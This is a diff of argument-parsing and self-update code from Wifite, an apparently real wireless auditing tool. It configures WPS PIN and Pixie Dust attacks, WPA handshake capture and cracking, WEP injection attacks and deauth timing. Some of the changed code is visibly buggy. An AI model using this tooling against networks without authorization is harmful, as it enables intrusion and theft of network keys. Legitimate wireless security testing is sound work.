self.WPS_PIN_ATTACK_DISABLE = True + println_info('wPS PIN attack ' + G + 'disabled') + if options.nopixie: + self.WPS_DUST_ATTACK_DISABLE = True + println_info('wPS pixie dust attack ' + G + 'disabled') + if options.nowpa: + self.WPA_ATTACK_DISABLE = True + println_info('wPS handshake attack ' + G + 'disabled') if options.channel: - try: - self.TARGET_CHANNEL = int(options.channel) - except ValueError: - print O + ' [!]' + R + ' invalid channel: ' + O + options.channel + W - except IndexError: - print O + ' [!]' + R + ' no channel given!' + W + channel=options.channel + if( channel>= 1 and channel<=12): + self.TARGET_CHANNEL = channel + println_info('Filter channel in scanning state: %s' % (G + str(self.TARGET_CHANNEL) + W)) else: - print GR + ' [+]' + W + ' channel set to %s' % (G + str(self.TARGET_CHANNEL) + W) - if options.mac_anon: - print GR + ' [+]' + W + ' mac address anonymizing ' + G + 'enabled' + W - print O + ' not: only works if device is not already in monitor mode!' + W - self.DO_NOT_CHANGE_MAC = False + println_warning('invalid channel: ' + O + str(options.channel) + W) + + if options.realmac: + println_info('mac address anonymizing ' + G + 'disabled' + W + "\n" +' not: only works if device is not already in monitor mode!' + W) + self.DO_NOT_CHANGE_MAC = True if options.interface: self.WIRELESS_IFACE = options.interface - print GR + ' [+]' + W + ' set interface :%s' % (G + self.WIRELESS_IFACE + W) + println_info('set interface :%s' % (G + self.WIRELESS_IFACE + W)) if options.monitor_interface: self.MONITOR_IFACE = options.monitor_interface - print GR + ' [+]' + W + ' set interface already in monitor mode :%s' % (G + self.MONITOR_IFACE + W) + println_info('set interface already in monitor mode :%s' % (G + self.MONITOR_IFACE + W)) if options.essid: - try: + #try: self.TARGET_ESSID = options.essid - except ValueError: - print R + ' [!]' + O + ' no ESSID given!' + W - else: - print GR + ' [+]' + W + ' targeting ESSID "%s"' % (G + self.TARGET_ESSID + W) + #except ValueError: + # println_error('no ESSID given!' + W + #else: + println_info('targeting ESSID "%s"' % (G + self.TARGET_ESSID + W)) if options.bssid: - try: + #try: self.TARGET_BSSID = options.bssid - except ValueError: - print R + ' [!]' + O + ' no BSSID given!' + W - else: - print GR + ' [+]' + W + ' targeting BSSID "%s"' % (G + self.TARGET_BSSID + W) + #except ValueError: + # println_error('no BSSID given!' + W + #else: + println_info('targeting BSSID "%s"' % (G + self.TARGET_BSSID + W)) if options.showb: self.SHOW_MAC_IN_SCAN = True - print GR + ' [+]' + W + ' target MAC address viewing ' + G + 'enabled' + W + println_info('target MAC address viewing ' + G + 'enabled') if options.all: - self.ATTACK_ALL_TARGETS = True - print GR + ' [+]' + W + ' targeting ' + G + 'all access points' + W + #self.ATTACK_ALL_TARGETS = True + self.ATTACK_TARGET= 'all' + self.SCAN_TIMEOUT = 10 + println_info('targeting ' + G + 'all access points') if options.power: - try: - self.ATTACK_MIN_POWER = int(options.power) - except ValueError: - print R + ' [!]' + O + ' invalid power level: %s' % (R + options.power + W) - except IndexError: - print R + ' [!]' + O + ' no power level given!' + W + #try: + if options.power > 0 and options.power <= 100: + if self.SHOW_TARGET!="": + self.SHOW_TARGET+="," + self.SHOW_TARGET+="-p<=" + power else: - print GR + ' [+]' + W + ' minimum target power set to %s' % (G + str(self.ATTACK_MIN_POWER) + W) - if options.tx: - try: - self.TX_POWER = int(options.tx) - except ValueError: - print R + ' [!]' + O + ' invalid TX power leve: %s' % ( R + options.tx + W) - except IndexError: - print R + ' [!]' + O + ' no TX power level given!' + W + println_error('invalid power level: %s' % (R + str(options.power)+ W)) + #except IndexError: + # println_error('no power level given!' + W + #else: + # println_info('minimum target power set to %s' % (G + str(self.ATTACK_MIN_POWER) + W)) + if options.two: + self.COLUMN = 2 + if options.tx != None: + if options.tx >= 0: + self.TX_POWER = options.tx + println_info('TX power level set to %s' % (G + str(self.TX_POWER) + W)) else: - print GR + ' [+]' + W + ' TX power level set to %s' % (G + str(self.TX_POWER) + W) + println_error('invalid TX power leve: %s' % ( R + str(options.tx) + W)) + #except IndexError: + # println_error('no TX power level given!') + #else: + self.DEBUG=options.debug if options.quiet: self.VERBOSE_APS = False - print GR + ' [+]' + W + ' list of APs during scan ' + O + 'disabled' + W + println_info('listing of found networks during scan ' + O + 'disabled') if options.check: try: capfile = options.check except IndexError: - print R + ' [!]' + O + ' unable to analyze capture file' + W - print R + ' [!]' + O + ' no cap file given!\n' + W + println_error('unable to analyze capture file') + println_error('no cap file given!\n') self.exit_gracefully(1) else: if not os.path.exists(capfile): - print R + ' [!]' + O + ' unable to analyze capture file!' + W - print R + ' [!]' + O + ' file not found: ' + R + capfile + '\n' + W + println_error('unable to analyze capture file!') + println_error('file not found: ' + R + capfile + '\n') self.exit_gracefully(1) if options.update: - self.upgrade() + self.update() exit(0) if options.cracked: if len(self.CRACKED_TARGETS) == 0: - print R + ' [!]' + O + ' There are no cracked access points saved to ' + R + 'cracked.db\n' + W + println_error('There are no cracked access points saved to ' + R + 'cracked.db\n') self.exit_gracefully(1) - print GR + ' [+]' + W + ' ' + W + 'previously cracked access points' + W + ':' + println_info('' + W + 'previously cracked access points' + W + ':') for victim in self.CRACKED_TARGETS: if victim.wps != False: - print ' %s (%s) : "%s" - Pin: %s' % ( - C + victim.ssid + W, C + victim.bssid + W, G + victim.key + W, G + victim.wps + W) + println_info(' %s (%s) : "%s" - Pin: %s' % (C + victim.ssid + W, C + victim.bssid + W, G + victim.key + W, G + victim.wps + W)) else: - print ' %s (%s) : "%s"' % (C + victim.ssid + W, C + victim.bssid + W, G + victim.key + W) + println_info(' %s (%s) : "%s"' % (C + victim.ssid + W, C + victim.bssid + W, G + victim.key + W)) print '' self.exit_gracefully(0) # WPA @@ -461,53 +626,59 @@ def handle_args(self): set_hscheck = True if options.strip: self.WPA_STRIP_HANDSHAKE = True - print GR + ' [+]' + W + ' handshake stripping ' + G + 'enabled' + W - if options.wpadt: - try: - self.WPA_DEAUTH_TIMEOUT = int(options.wpadt) - except ValueError: - print R + ' [!]' + O + ' invalid deauth timeout: %s' % (R + options.wpadt + W) - except IndexError: - print R + ' [!]' + O + ' no deauth timeout given!' + W + println_info('handshake stripping ' + G + 'enabled') + if options.wpadt != None: + if options.wpadt >= 0: + self.WPA_DEAUTH_TIMEOUT = options.wpadt + println_info('WPA deauth timeout set to %s' % (G + str(self.WPA_DEAUTH_TIMEOUT) + W)) else: - print GR + ' [+]' + W + ' WPA deauth timeout set to %s' % (G + str(self.WPA_DEAUTH_TIMEOUT) + W) - if options.wpat: - try: + println_error('invalid deauth timeout: %s' % (R + str(options.wpadt) + W)) + if options.wpat != None: + if options.wpat >= 0: self.WPA_ATTACK_TIMEOUT = int(options.wpat) - except ValueError: - print R + ' [!]' + O + ' invalid attack timeout: %s' % (R + options.wpat + W) - except IndexError: - print R + ' [!]' + O + ' no attack timeout given!' + W + println_info('WPA attack timeout set to %s' % (G + str(self.WPA_ATTACK_TIMEOUT) + W)) else: - print GR + ' [+]' + W + ' WPA attack timeout set to %s' % (G + str(self.WPA_ATTACK_TIMEOUT) + W) - if options.crack: - self.WPA_DONT_CRACK = False - print GR + ' [+]' + W + ' WPA cracking ' + G + 'enabled' + W + println_error('invalid attack timeout: %s' % (R + str(options.wpat) + W)) + + #print options + + self.WPA_CRACK = options.crack + if self.WPA_CRACK: + println_info('WPA cracking ' + G + 'enabled') if options.dic: - try: - self.WPA_DICTIONARY = options.dic - except IndexError: - print R + ' [!]' + O + ' no WPA dictionary given!' + if os.path.exists(options.dic): + self.WPA_DICTIONARY=options.dic + println_info('WPA dictionary set to %s' % (G + self.WPA_DICTIONARY + W)) else: - if os.path.exists(options.dic): - print GR + ' [+]' + W + ' WPA dictionary set to %s' % (G + self.WPA_DICTIONARY + W) - else: - print R + ' [!]' + O + ' WPA dictionary file not found: %s' % (options.dic) - else: - print R + ' [!]' + O + ' WPA dictionary file not given!' - self.exit_gracefully(1) + println_error('WPA dictionary file not found: %s' % (G + options.dic + W)) + if options.hash: + if os.path.exists(options.hash): + self.WPA_HASH=options.hash + println_info('WPA hash table set to %s' % (G + self.WPA_HASH + W)) + else: + println_error('WPA hash table not found: %s' % (G + options.hash + W)) + if self.WPA_DICTIONARY == "" and file_search('phpbb.txt'): + self.WPA_DICTIONARY=file_search('phpbb.txt') + println_info('WPA dictionary automatically set to %s' % (G + self.WPA_DICTIONARY + W)) + + if self.WPA_DICTIONARY == "" and self.WPA_HASH == "": + println_error('WPA dictionary file or hash file not provided! WPA crack %sdisabled%s' % (G,W)) + self.WPA_CRACK = 0 + else: + println_info('WPA cracking ' + G + 'disabled') + if options.tshark: self.WPA_HANDSHAKE_TSHARK = True - print GR + ' [+]' + W + ' tshark handshake verification ' + G + 'enabled' + W + println_info('tshark handshake verification ' + G + 'enabled') if options.pyrit: self.WPA_HANDSHAKE_PYRIT = True - print GR + ' [+]' + W + ' pyrit handshake verification ' + G + 'enabled' + W + println_info('pyrit handshake verification ' + G + 'enabled') if options.aircrack: self.WPA_HANDSHAKE_AIRCRACK = True - print GR + ' [+]' + W + ' aircrack handshake verification ' + G + 'enabled' + W + println_info('aircrack handshake verification ' + G + 'enabled') if options.cowpatty: self.WPA_HANDSHAKE_COWPATTY = True - print GR + ' [+]' + W + ' cowpatty handshake verification ' + G + 'enabled' + W + println_info('cowpatty handshake verification ' + G + 'enabled') # WEP if not set_wep and options.chopchop or options.fragment or options.caffeelatte or options.arpreplay \ @@ -519,98 +690,93 @@ def handle_args(self): self.WEP_P0841 = False self.WEP_HIRTE = False if options.chopchop: - print GR + ' [+]' + W + ' WEP chop-chop attack ' + G + 'enabled' + W + println_info('WEP chop-chop attack ' + G + 'enabled') self.WEP_CHOPCHOP = True if options.fragment: - print GR + ' [+]' + W + ' WEP fragmentation attack ' + G + 'enabled' + W + println_info('WEP fragmentation attack ' + G + 'enabled') self.WEP_FRAGMENT = True if options.caffeelatte: - print GR + ' [+]' + W + ' WEP caffe-latte attack ' + G + 'enabled' + W + println_info('WEP caffe-latte attack ' + G + 'enabled') self.WEP_CAFFELATTE = True if options.arpreplay: - print GR + ' [+]' + W + ' WEP arp-replay attack ' + G + 'enabled' + W + println_info('WEP arp-replay attack ' + G + 'enabled') self.WEP_ARPREPLAY = True if options.p0841: - print GR + ' [+]' + W + ' WEP p0841 attack ' + G + 'enabled' + W + println_info('WEP p0841 attack ' + G + 'enabled') self.WEP_P0841 = True if options.hirte: - print GR + ' [+]' + W + ' WEP hirte attack ' + G + 'enabled' + W + println_info('WEP hirte attack ' + G + 'enabled') self.WEP_HIRTE = True if options.fakeauth: - print GR + ' [+]' + W + ' ignoring failed fake-authentication ' + R + 'disabled' + W + println_info('ignoring failed fake-authentication ' + R + 'disabled') self.WEP_IGNORE_FAKEAUTH = False if options.wepca: - try: - self.WEP_CRACK_AT_IVS = int(options.wepca) - except ValueError: - print R + ' [!]' + O + ' invalid number: %s' % ( R + options.wepca + W ) - except IndexError: - print R + ' [!]' + O + ' no IV number specified!' + W + if options.wepca>0: + self.WEP_CRACK_AT_IVS = options.wepca + println_info('Starting WEP cracking when IV\'s surpass %s' % ( + G + str(self.WEP_CRACK_AT_IVS) + W)) else: - print GR + ' [+]' + W + ' Starting WEP cracking when IV\'s surpass %s' % ( - G + str(self.WEP_CRACK_AT_IVS) + W) - if options.wept: - try: - self.WEP_TIMEOUT = int(options.wept) - except ValueError: - print R + ' [!]' + O + ' invalid timeout: %s' % (R + options.wept + W) - except IndexError: - print R + ' [!]' + O + ' no timeout given!' + W + println_error('invalid number: %s' % ( R + str(options.wepca) + W )) + + if options.wept != None: + if options.wept >= 0: + self.WEP_TIMEOUT = options.wept + println_info('WEP attack timeout set to %s' % ( + G + str(self.WEP_TIMEOUT) + W + " seconds")) else: - print GR + ' [+]' + W + ' WEP attack timeout set to %s' % ( - G + str(self.WEP_TIMEOUT) + " seconds" + W) - if options.pps: - try: - self.WEP_PPS = int(options.pps) - except ValueError: - print R + ' [!]' + O + ' invalid value: %s' % (R + options.pps + W) - except IndexError: - print R + ' [!]' + O + ' no value given!' + W + println_error('invalid timeout: %s' % (R + str(options.wept) + W)) + + if options.pps != None: + if options.pps>0: + self.WEP_PPS = options.pps + println_info('packets-per-second rate set to %s' % ( + G + str(options.pps) + " packets/sec" + W)) else: - print GR + ' [+]' + W + ' packets-per-second rate set to %s' % ( - G + str(options.pps) + " packets/sec" + W) - if options.wepsave: - self.WEP_SAVE = True - print GR + ' [+]' + W + ' WEP .cap file saving ' + G + 'enabled' + W - + println_error('invalid value: %s' % (R + str(options.pps) + W)) + if options.wepnosave: + self.WEP_SAVE = False + println_info(('WEP %s.cap%s file saving ' + R + 'disabled' + W)%(G,W)) + else: + if options.wepsaveiv: + self.WEP_SAVE_IV = True + println_info(('WEP %s.ivs%s file saving ' + G + 'enabled' + W)%(G,W)) + else: + println_info(('WEP %s.cap%s file saving ' + G + 'enabled' + W)%(G,W)) # WPS - if options.wpst: - try: - self.WPS_TIMEOUT = int(options.wpst) - except ValueError: - print R + ' [!]' + O + ' invalid timeout: %s' % (R + options.wpst + W) - except IndexError: - print R + ' [!]' + O + ' no timeout given!' + W + if options.wpst != None: + if self.WPS_TIMEOUT >= 0: + self.WPS_TIMEOUT = options.wpst + println_info('WPS attack timeout set to %s' % ( + G + str(self.WPS_TIMEOUT) + " seconds" + W)) else: - print GR + ' [+]' + W + ' WPS attack timeout set to %s' % ( - G + str(self.WPS_TIMEOUT) + " seconds" + W) - if options.wpsratio: - try: - self.WPS_RATIO_THRESHOLD = float(options.wpsratio) - except ValueError: - print R + ' [!]' + O + ' invalid percentage: %s' % (R + options.wpsratio + W) - except IndexError: - print R + ' [!]' + O + ' no ratio given!' + W + println_error('invalid WPS timeout: %s' % (R + str(options.wpst) + W)) + + self.WPS_SAVE = not options.wpsnosave + if not options.wpsnosave: + println_info(('WPS %s.wpc%s file saving ' + G + 'enabled' + W)%(G,W)) + + if options.wpsratio != None: + if options.wpsratio > 0: + self.WPS_RATIO_THRESHOLD = options.wpsratio + println_info('minimum WPS tries/attempts threshold set to %s' % (G + str(self.WPS_RATIO_THRESHOLD) + W)) else: - print GR + ' [+]' + W + ' minimum WPS tries/attempts threshold set to %s' % ( - G + str(self.WPS_RATIO_THRESHOLD) + "" + W) + println_warning('invalid percentage: %s' % (R + options.wpsratio + W)) + if options.wpsretry: - try: + if options.wpsretry >= 0: self.WPS_MAX_RETRIES = int(options.wpsretry) - except ValueError: - print R + ' [!]' + O + ' invalid number: %s' % (R + options.wpsretry + W) - except IndexError: - print R + ' [!]' + O + ' no number given!' + W + println_info('WPS maximum retries set to %s retries' % ( + G + str(self.WPS_MAX_RETRIES) + W)) else: - print GR + ' [+]' + W + ' WPS maximum retries set to %s' % ( - G + str(self.WPS_MAX_RETRIES) + " retries" + W) + println_error('invalid number: %s' % (R + str(options.wpsretry) + W)) + except IndexError: - print '\nindexerror\n\n' + println_warning('\nIndex Error!\n\n') if capfile != '': self.RUN_ENGINE.analyze_capfile(capfile) - print '' + #print '' def build_opt_parser(self): """ Options are doubled for backwards compatability; will be removed soon and @@ -620,63 +786,84 @@ def build_opt_parser(self): # set commands command_group = option_parser.add_argument_group('COMMAND') - command_group.add_argument('--check', help='Check capfile [file] for handshakes.', action='store', dest='check') + command_group.add_argument('--check', metavar='[file]', help='Check capfile [file] for handshakes.', action='store', dest='check') command_group.add_argument('-check', action='store', dest='check', help=argparse.SUPPRESS) command_group.add_argument('--cracked', help='Display previously cracked access points.', action='store_true', dest='cracked') command_group.add_argument('-cracked', help=argparse.SUPPRESS, action='store_true', dest='cracked') command_group.add_argument('--recrack', help='Include already cracked networks in targets.', action='store_true', dest='recrack') - command_group.add_argument('-recrack', help=argparse.SUPPRESS, action='store_true', dest='recrack') + command_group.add_argument('-recrack', help=argparse.SUPPRESS, action='store_true', dest='scan') # set global - global_group = option_parser.add_argument_group('GLOBAL') - global_group.add_argument('--all', help='Attack all targets.', default=False, action='store_true', dest='all') - global_group.add_argument('-all', help=argparse.SUPPRESS, default=False, action='store_true', dest='all') - global_group.add_argument('-i', help='Wireless interface for capturing.', action='store', dest='interface') - global_group.add_argument('--mac', help='Anonymize MAC address.', action='store_true', default=False, - dest='mac_anon') - global_group.add_argument('-mac', help=argparse.SUPPRESS, action='store_true', default=False, dest='mac_anon') - global_group.add_argument('--mon-iface', help='Interface already in monitor mode.', action='store', + interface_group = option_parser.add_argument_group('INTERFACE') + interface_group.add_argument('-i', metavar='[wlanN]', help='Wireless interface for capturing.', action='store', dest='interface') + interface_group.add_argument('--realmac', help='Do not anonymize my MAC address, use my real MAC address.', action='store_true', default=False, + dest='realmac') + interface_group.add_argument('-m','--mon-iface', metavar='[monN]', help='Interface already in monitor mode.', action='store', dest='monitor_interface') - global_group.add_argument('-c', help='Channel to scan for targets.', action='store', dest='channel') - global_group.add_argument('-e', help='Target a specific access point by ssid (name).', action='store', - dest='essid') - global_group.add_argument('-b', help='Target a specific access point by bssid (mac).', action='store', - dest='bssid') - global_group.add_argument('--showb', help='Display target BSSIDs after scan.', action='store_true', - dest='showb') - global_group.add_argument('-showb', help=argparse.SUPPRESS, action='store_true', dest='showb') - global_group.add_argument('--power', help='Attacks any targets with signal strength > [pow].', action='store', + interface_group.add_argument('--tx', metavar='[N]', help='Set adapter TX power level.', action='store', dest='tx') + interface_group.add_argument('-tx', metavar='[N]', help=argparse.SUPPRESS, action='store', dest='tx') + + target_group = option_parser.add_argument_group('TARGET') + target_group.add_argument('-l','--load', metavar='[file]', help='Load airodump csv/cap file instead of scanning.', action='store', dest='load') + target_group.add_argument('-v','--save', metavar='[file]', help='Save airodump csv/cap file.', action='store', dest='save') + target_group.add_argument('-s','--show', metavar='[filters]', help='Filter targets in scanning state.' + 'Syntax: numbers, range (e.g. "1-4"), power level (e.g. "p[>,>=,=,<=,<][POWER]"), channel (e.g. "c[CHANNEL,range])", wps disabled or enabled (e.g. "wps0", "wps1"), Cipher (e.g. "wep" or "wpa", "wep[NUM OF CLIENT]" or "wpa[NUM OF CLIENT]", "wep+" or "wpa+" for network with clients), ESSID (e.g. "e[ESSID]") or BSSID (e.g. "b[11:22:33]"). Multiple filters separated by comma supported. Add "-" or "=" before to remove targets.', action='store', dest='show') + target_group.add_argument('-t','--timeout', metavar='[criteria]', help='Criteria to stop scanning state. Numbers = seconds, e[ESSID][+] or b[BSSID][+]= timeout when target is found, add "+" at the end means "with clients", n[>,>=,=,<=,<][num of targets] = timeout when total targets more/equal/less than certain numbers. Multiple criteria separated by comma supported.', action='store', dest='timeout') + target_group.add_argument('-c','--channel', metavar='[N]', type=int, help='Filter targets with specific channel in scanning state (equivalent to "--show c[N]").', action='store', dest='channel') + target_group.add_argument('--power', metavar='[N]',type=int, help='Filter targets with signal strength > [N] in scanning state (equivalent to "--show p\>[N]").', action='store', dest='power') - global_group.add_argument('-power', help=argparse.SUPPRESS, action='store', dest='power') - global_group.add_argument('--tx', help='Set adapter TX power level.', action='store', dest='tx') - global_group.add_argument('-tx', help=argparse.SUPPRESS, action='store', dest='tx') - global_group.add_argument('--quiet', help='Do not print list of APs during scan.', action='store_true', + target_group.add_argument('-power', metavar='[N]', type=int, help=argparse.SUPPRESS, action='store', dest='power') + + target_group.add_argument('--all', help='Attack all targets (equivalent to "--show all --attack all --timeout 10").', default=False, action='store_true', dest='all') + target_group.add_argument('-all', help=argparse.SUPPRESS, default=False, action='store_true', dest='all') + target_group.add_argument('-r','--row', type=int, metavar='[N]', help='Max numbers of row to show in scanning state.', default=0, action='store', dest='scan_max_row_show') + + target_group.add_argument('--showb', help='Show target BSSIDs in scanning state.', action='store_true', + dest='showb') + target_group.add_argument('-showb', help=argparse.SUPPRESS, action='store_true', dest='showb') + target_group.add_argument('-2','--two', help='Show scanning result in two columns.', default=False, action='store_true', + dest='two') + target_group.add_argument('-q','--quiet', help='Do not list found networks during scan.', action='store_true', dest='quiet') - global_group.add_argument('-quiet', help=argparse.SUPPRESS, action='store_true', dest='quiet') - global_group.add_argument('--update', help='Check and update Wifite.', default=False, action='store_true', - dest='update') - global_group.add_argument('-update', help=argparse.SUPPRESS, default=False, action='store_true', dest='update') + target_group.add_argument('-a','--attack', metavar='[filters]', help='Automatically select targets after scanning state, same syntas as "--show".', action='store', dest='attack') + #target_group.add_argument('-attack', help=argparse.SUPPRESS, action='store', dest='attack') + target_group.add_argument('-e','--essid', metavar='[SSID]', help='Attack target immediately once ssid (name) is found in scanning state.', action='store', + dest='essid') + #target_group.add_argument('-e', help=argparse.SUPPRESS, action='store', dest='essid') + target_group.add_argument('-b','--bssid', metavar='[BSSID]',help='Attack target immediately once bssid (mac) is found in scanning state.', action='store', + dest='bssid') + #target_group.add_argument('-b', help=argparse.SUPPRESS, action='store', dest='bssid') + + + + # set wpa commands wpa_group = option_parser.add_argument_group('WPA') - wpa_group.add_argument('--wpa', help='Only target WPA networks (works with --wps --wep).', default=False, + wpa_group.add_argument('--wpa', help='Only show WPA networks in scanning state (works with --wps --wep, equivalent to "--show wpa --nowps").', default=False, action='store_true', dest='wpa') wpa_group.add_argument('-wpa', help=argparse.SUPPRESS, default=False, action='store_true', dest='wpa') - wpa_group.add_argument('--wpat', help='Time to wait for WPA attack to complete (seconds).', action='store', + wpa_group.add_argument('--wpat', metavar='[secs]', type=int, help='Time to wait for WPA attack to complete (seconds).', action='store', dest='wpat') + wpa_group.add_argument('--nowpa', help='Disable WPA handshake attack.', default=False, + action='store_true', dest='nowpa') + wpa_group.add_argument('-wpat', help=argparse.SUPPRESS, action='store', dest='wpat') - wpa_group.add_argument('--wpadt', help='Time to wait between sending deauth packets (seconds).', action='store', + wpa_group.add_argument('--wpadt', metavar='[secs]', help='Time to wait between sending deauth packets (seconds).', action='store', dest='wpadt') wpa_group.add_argument('-wpadt', help=argparse.SUPPRESS, action='store', dest='wpadt') wpa_group.add_argument('--strip', help='Strip handshake using tshark or pyrit.', default=False, action='store_true', dest='strip') wpa_group.add_argument('-strip', help=argparse.SUPPRESS, default=False, action='store_true', dest='strip') - wpa_group.add_argument('--crack', help='Crack WPA handshakes using [dic] wordlist file.', action='store_true', + wpa_group.add_argument('--crack', default=0, type=int, help='Crack WPA handshakes using dict/hash file. (0 = disable , 1 = aircrack, 2 = pyrit, 3 = cowpatty)', action='store', dest='crack') wpa_group.add_argument('-crack', help=argparse.SUPPRESS, action='store_true', dest='crack') - wpa_group.add_argument('--dict', help='Specificy dictionary to use when cracking WPA.', action='store', + wpa_group.add_argument('--dict', metavar='[file]', help='Specify dictionary to be used when cracking WPA.', action='store', dest='dic') + wpa_group.add_argument('--hash', metavar='[file]', help='Specify precomputed hash to be used when cracking WPA.', action='store', + dest='hash') + wpa_group.add_argument('--recapture', help='Recapture handshake even if the cap file exists.', default = False, action='store_true', + dest='recapture') wpa_group.add_argument('-dict', help=argparse.SUPPRESS, action='store', dest='dic') wpa_group.add_argument('--aircrack', help='Verify handshake using aircrack.', default=False, action='store_true', dest='aircrack') @@ -692,15 +879,18 @@ def build_opt_parser(self): wpa_group.add_argument('-cowpatty', help=argparse.SUPPRESS, default=False, action='store_true', dest='cowpatty') # set WEP commands wep_group = option_parser.add_argument_group('WEP') - wep_group.add_argument('--wep', help='Only target WEP networks.', default=False, action='store_true', + wep_group.add_argument('--wep', help='Only show WEP networks in scanning state (equivalent to "--show wep").', default=False, action='store_true', dest='wep') - wep_group.add_argument('-wep', help=argparse.SUPPRESS, default=False, action='store_true', dest='wep') - wep_group.add_argument('--pps', help='Set the number of packets per second to inject.', action='store', + wep_group.add_argument('-wep',help=argparse.SUPPRESS, default=False, action='store_true', dest='wep') + + wep_group.add_argument('--pps', metavar='[N]' , type=int, help='Set the number of packets per second to inject.', action='store', dest='pps') - wep_group.add_argument('-pps', help=argparse.SUPPRESS, action='store', dest='pps') - wep_group.add_argument('--wept', help='Sec to wait for each attack, 0 implies endless.', action='store', + wep_group.add_argument('-pps', type=int, help=argparse.SUPPRESS, action='store', dest='pps') + + wep_group.add_argument('--wept', metavar='[secs]', type=int, help='Max time for each attack, 0 implies endless.', action='store', dest='wept') - wep_group.add_argument('-wept', help=argparse.SUPPRESS, action='store', dest='wept') + wep_group.add_argument('-wept', type=int, help=argparse.SUPPRESS, action='store', dest='wept') + wep_group.add_argument('--chopchop', help='Use chopchop attack.', default=False, action='store_true', dest='chopchop') wep_group.add_argument('-chopchop', help=argparse.SUPPRESS, default=False, action='store_true', dest='chopchop') @@ -723,97 +913,92 @@ def build_opt_parser(self): action='store_true', dest='fakeauth') wep_group.add_argument('-nofakeauth', help=argparse.SUPPRESS, default=False, action='store_true', dest='fakeauth') - wep_group.add_argument('--wepca', help='Start cracking when number of IVs surpass [n].', action='store', + wep_group.add_argument('--wepca', metavar='[N]', type=int, help='Start cracking when number of IVs surpass [n].', action='store', dest='wepca') - wep_group.add_argument('-wepca', help=argparse.SUPPRESS, action='store', dest='wepca') - wep_group.add_argument('--wepsave', help='Save a copy of .cap files to this directory.', default=None, - action='store', dest='wepsave') - wep_group.add_argument('-wepsave', help=argparse.SUPPRESS, default=None, action='store', dest='wepsave') + wep_group.add_argument('-wepca', type=int, help=argparse.SUPPRESS, default=False, action='store', dest='wepca') + wep_group.add_argument('--wepnosave', help='Don''t save the captured IVs to "wep" folder in current working directory.', + default=False, action='store_true', dest='wepnosave') + wep_group.add_argument('--wepsaveiv', help='Save the captured IVs in form of .ivs to "wep" folder in current working directory. (.ivs is smaller than .cap but NOT compatible with old aircrack-ng)', + action='store_true', dest='wepsaveiv') + #wep_group.add_argument('-wepsave', help=argparse.SUPPRESS, default=False, action='store_true', dest='wepsave') # set WPS commands wps_group = option_parser.add_argument_group('WPS') - wps_group.add_argument('--wps', help='Only target WPS networks.', default=False, action='store_true', + wps_group.add_argument('--wps', help='Only show WPS networks in scanning state (equivalent to "--show wps --nowpa").', default=False, action='store_true', dest='wps') + wps_group.add_argument('--nowps', help='Disable WPS PIN Attack.', action='store_true', + dest='nowps') + wps_group.add_argument('--nopixie', help='Disable WPS PixieDust attack.', action='store_true', dest='nopixie') + wps_group.add_argument('-wps', help=argparse.SUPPRESS, default=False, action='store_true', dest='wps') - wps_group.add_argument('--wpst', help='Max wait for new retry before giving up (0: never).', action='store', + wps_group.add_argument('--wpst', metavar='[secs]', type=int, help='Max wait for new retry before giving up (0: never).', action='store', dest='wpst') - wps_group.add_argument('-wpst', help=argparse.SUPPRESS, action='store', dest='wpst') - wps_group.add_argument('--wpsratio', help='Min ratio of successful PIN attempts/total retries.', action='store', + wps_group.add_argument('-wpst', type=int, help=argparse.SUPPRESS, action='store', dest='wpst') + wps_group.add_argument('--wpsratio', type=float, metavar='[ratio]', help='Min ratio of successful PIN attempts/total retries.', action='store', dest='wpsratio') - wps_group.add_argument('-wpsratio', help=argparse.SUPPRESS, action='store', dest='wpsratio') - wps_group.add_argument('--wpsretry', help='Max number of retries for same PIN before giving up.', + wps_group.add_argument('-wpsratio', type=float, help=argparse.SUPPRESS, action='store', dest='wpsratio') + wps_group.add_argument('--wpsretry', metavar='[N]' , type=int, help='Max number of retries for same PIN before giving up.', action='store', dest='wpsretry') - wps_group.add_argument('-wpsretry', help=argparse.SUPPRESS, action='store', dest='wpsretry') - + wps_group.add_argument('-wpsretry', type=int,help=argparse.SUPPRESS, action='store', dest='wpsretry') + wps_group.add_argument('--wpsnosave', help='Disable saving progress of WPS PIN attack to "wps" subfolder in current folder.', + default=False, action='store_true', dest='wpsnosave') + others_group = option_parser.add_argument_group('OTHERS') + others_group.add_argument('--update', help='Check and update Wifite.', default=False, action='store_true', + dest='update') + others_group.add_argument('-update', help=argparse.SUPPRESS, default=False, action='store_true', dest='update') + others_group.add_argument('--debug', help='Print lots of debug information.', action='store_true', dest='debug') + + return option_parser - def upgrade(self): + def update(self): """ - Checks for new version, prompts to upgrade, then + Checks for new version, prompts to update, then replaces this script with the latest from the repo """ + buffs=[] + revs=[] try: - print GR + ' [!]' + W + ' upgrading requires an ' + G + 'internet connection' + W - print GR + ' [+]' + W + ' checking for latest version...' - revision = get_revision() - if revision == -1: - print R + ' [!]' + O + ' unable to access GitHub' + W - elif revision > self.REVISION: + println_warning('updating requires an ' + G + 'internet connection' + W) + + for url in UPDATE_URLS: + println_info('checking for latest version from "%s"...' % (G + url + W)) + buff=get_file(url) + + if buff == False: + println_error('unable to access update url') + else: + + rev=get_revision(buff) + if rev != -1: + println_info('revision %s%d%s found!' % (G, rev, W)) + buffs.append(buff) + revs.append(rev) + + latest_rev_index=-1 + for i,rev in enumerate(revs): + if rev > self.REVISION: + if latest_rev_index == -1 or (latest_rev_index != -1 and rev > latest_rev_index): + latest_rev_index = i + if latest_rev_index != -1: print GR + ' [!]' + W + ' a new version is ' + G + 'available!' + W - print GR + ' [-]' + W + ' revision: ' + G + str(revision) + W - response = raw_input(GR + ' [+]' + W + ' do you want to upgrade to the latest version? (y/n): ') + print GR + ' [-]' + W + ' revision: ' + G + str(rev[latest_rev_index]) + W + response = raw_input(GR + ' [+]' + W + ' do you want to update to the latest version? (y/n): ') if not response.lower().startswith('y'): print GR + ' [-]' + W + ' upgrading ' + O + 'aborted' + W self.exit_gracefully(0) return # Download script, replace with this one - print GR + ' [+] ' + G + 'downloading' + W + ' update...' - try: - sock = urllib.urlopen('https://github.com/derv82/wifite/raw/master/wifite.py') - page = sock.read() - except IOError: - page = '' - if page == '': - print R + ' [+] ' + O + 'unable to download latest version' + W - self.exit_gracefully(1) - - # Create/save the new script - f = open('wifite_new.py', 'w') - f.write(page) - f.close() - - # The filename of the running script - this_file = __file__ - if this_file.startswith('./'): - this_file = this_file[2:] - - # create/save a shell script that replaces this script with the new one - f = open('update_wifite.sh', 'w') - f.write('''#!/bin/sh\n - rm -rf ''' + this_file + '''\n - mv wifite_new.py ''' + this_file + '''\n - rm -rf update_wifite.sh\n - chmod +x ''' + 